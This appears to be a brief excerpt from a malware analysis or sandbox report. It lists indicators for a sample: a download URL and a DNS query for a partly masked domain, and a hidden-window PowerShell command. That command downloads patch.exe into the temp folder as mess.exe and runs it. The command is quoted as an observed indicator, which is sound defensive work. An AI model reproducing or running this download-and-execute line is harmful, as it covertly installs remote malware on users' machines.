Technical Information
- http://90#.###.quaetkuaiyan.net/144997560142308/patch.exe as $d
- DNS ASK 90#.###.quaetkuaiyan.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+'\mess.exe';(New-Object System.Net.WebClient).DownloadFile('http://90#.###.quaetkuaiyan.net/144997560142308/patch.exe',$d);Start-Process $d;[System.Reflection.A...' (with hidden window)